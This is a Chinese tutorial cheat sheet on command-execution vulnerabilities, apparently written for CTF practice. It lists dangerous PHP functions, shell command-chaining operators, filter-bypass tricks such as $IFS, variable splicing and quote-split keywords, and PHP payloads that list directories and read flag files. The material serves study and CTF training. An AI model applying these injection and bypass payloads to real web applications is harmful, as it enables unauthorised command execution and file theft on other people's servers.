命令执行系列

原理:

命令执行是常见漏洞之一,web应用有时需要调用一些函数执行命令如system、exec、shell_exec、passthru、popen、proc_popen、`` ,可能会产生命令执行漏洞

最常见执行函数是exec,它会创建一个子进程去执行另外的程序;少见的执行运算符:`` ,它会将其包裹的内容作为shell命令执行,并将输出信息返回。

危害:

  • 读写文件
  • 提升权限
  • 修改服务器设置
  • 反弹shell

利用方法:

1. 命令拼接符

符号 作用
& 无论左边真假,右边都执行
&& 左边为真时,右边执行
| 通道符,无论左边真假,右边都执行
|| 左边为假时,右边执行
; 表示隔断,常用于单行语句区分代码块
%0a 换行符,多行区分代码块
%0b 同%0a

2. 危险函数

  • php

    • eval()
    • assert()
    • preg_replace
    • call_user_func()
    • call_user_func_array()
    • create_function
    • array_map()
  • 系统命令

    • system()
    • passthru()
    • exec()
    • pcntl_exec()
    • shell_exec()
    • popen()
    • proc_open()
    • ``
    • ob_start()

3. 常见绕过

空格绕过

$IFS
<
<>
{}包裹
%09

拼接绕过

$a=l
$b=s
$a$b //执行ls

关键字绕过

who\am\i
who"am"i
cat fla[ghd]

骚姿势绕过

tac //抓取后反向输出
ls -i //输出节点信息,通过inode抓取
od //二进制读取
sort //查看

4. 函数过滤

有时CTF中会过滤危险函数,如system等,这时需要一点点脑洞

首先,需要确定flag位置

//扫目录找flag位置
print_r(scandir('./'));
$a=opendir('./');while(($file = readdir($a)) !=false){echo $file." ";}
var_dump(scandir("/"));
$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}

然后,通过各种手段读取flag

  • 包含文件

    //文件包含读取
    include('/flag.txt');
    require('/flag.txt');
    require_once('/flag.txt');
  • 高亮显示

    //通过高亮显示php文件
    show_source("flag.php");
    highlight_file("flag.php");
  • 拷贝文件

    //通过复制,重命名读取php文件内容(函数执行后,访问url/flag.txt)
    copy()
    rename()
    //用法:
    copy("flag.php","flag.txt");
    rename("flag.php","flag.txt");
  • fopen

    //通过fopen去读取文件内容,这里介绍下函数
    fread()
    fgets()
    fgetc()
    fgetss()
    fgetcsv()
    gpassthru()
    payload:
    $a=fopen("flag.php","r");while (!feof($a)) {$line =    fgets($a);echo $line;}//一行一行读取
    $a=fopen("flag.php","r");while (!feof($a)) {$line = fgetc($a);echo $line;}//一个一个字符读取
    $a=fopen("flag.php","r");while (!feof($a)) {$line = fgetcsv($a);var_dump($line);}
  • 少见函数读文件

    //通过单一函数读取文件
    c=echo file_get_contents("flag.php");
    c=readfile("flag.php");
    c=var_dump(file('flag.php'));
    c=print_r(file('flag.php'));

总结

读取文件说ctf常见的题目类型,主要是考察对执行命令和WAF拦截方式的熟悉程度,简单的命令已经有很多教程可以学习,绕过则需要了解过滤方式和一些不常见函数。


"孓然一身 , 了无牵挂"